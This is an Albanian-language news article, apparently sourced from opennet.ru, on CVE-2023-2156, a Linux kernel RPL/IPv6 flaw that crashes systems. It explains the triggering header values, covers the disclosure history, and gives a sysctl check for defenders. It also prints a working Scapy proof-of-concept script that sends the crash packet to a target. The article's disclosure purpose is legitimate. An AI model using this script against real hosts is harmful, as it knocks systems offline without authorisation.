Të dhënat e një vulnerabiliteti 0-day (CVE-2023-2156) në kernelin Linux janë zbuluar, i cili lejon të ndalosh funksionimin e sistemit përmes dërgimit të paketimeve të veçanta IPv6 (packet-of-death). Problemi shfaqet vetëm kur mbështetja për protokollin RPL (Routing Protocol for Low-Power and Lossy Networks) është aktivizuar, e cila në distribucionet standarde është e çaktivizuar dhe përdoret kryesisht në pajisje të integruara që funksionojnë në rrjeta wireless me humbje të konsiderueshme paketash.
Vulnerabiliteti shkaktohet nga përpunimi i gabuar i të dhënave të jashtme në kodin e analizës së protokollit RPL, i cili çon në aktivizimin e një dështimi assert dhe kalimin e kernelit në një gjendje panic. Kur vendosen në strukturën k_buff (Socket Buffer) të dhëna që vijnë si rezultat i analizës së header-it të paketit IPv6 RPL, nëse fusha CmprI është e vendosur në vlerën 15, fusha Segleft në 1, dhe CmprE në 0, një vektor 48-byte me adresat shndërrohet në 528 byte dhe ndodh një situatë kur memorja e alokuar për tamponin është e pamjaftueshme. Në këtë rast, në funksionin skb_push, që përdoret për të vendosur të dhënat në strukturë, aktivehet një kontroll për mosproporcion të madhësisë së të dhënave dhe tamponit, i cili gjeneron gjendjen panic, për të parandaluar shkrimin jashtë tamponit.
Shembuj eksploatimi: # Do të përdorim Scapy për të krijuar paketën from scapy.all import * import socket # Përdorimi i IPv6 nga interfaci juaj LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Ne përdorimSockets për të dërguar paketën sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Krijimi i paketës # Tipi = 3 e bën këtë një paketë RPL # Adresat përmbajnë 3 adresa, por për shkak se CmprI është 15, # çdo octet i dy adresave të para trajtohet si një adresë të kompresuar # Segleft = 1 për të aktivizuar amplifikimin # lastentry = 0xf0 vendos CmprI në 15 dhe CmprE në 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Dërgo këtë paketë evil sockfd.sendto(bytes(p), (DST_ADDR, 0))
ĂshtĂ« e vĂ«nĂ« nĂ« dukje se zhvilluesit e kernelit u njoftuan pĂ«r vulnerabilitetin qĂ« nĂ« janar 2022 dhe pĂ«r 15 muajt e kaluar, ata pĂ«rpiqeshin tri herĂ« pĂ«r ta rregulluar problemin, duke lĂ«shuar patches nĂ« shtator 2022, nĂ« tetor 2022 dhe nĂ« prill 2023, por çdo herĂ« rregullimet janĂ« tĂ« pamjaftueshme dhe vulnerabiliteti Ă«shtĂ« riprodhuar. NĂ« fund, projekti ZDI, i cili koordinonte punimet pĂ«r eliminimin e vulnerabilitetit, mori vendim pĂ«r tĂ« zbuluar informacionin nĂ« detaje mbi vulnerabilitetin, pa pritur qĂ« tĂ« dilte njĂ« rregullim funksional nĂ« kernel.
Prandaj, vulnerabiliteti akoma mbetet i pazgjidhur. Përdorimi i patches që është përfshirë në kernel 6.4-rc2 është gjithashtu i pavlefshëm. Përdoruesve u rekomandohet të kontrollojnë që protokolli RPL të mos përdoret në sistemet e tyre, gjë që mund të bëhet duke përdorur komandën sysctl -a | grep -i rpl_seg_enabled.
Burimi: opennet.ru
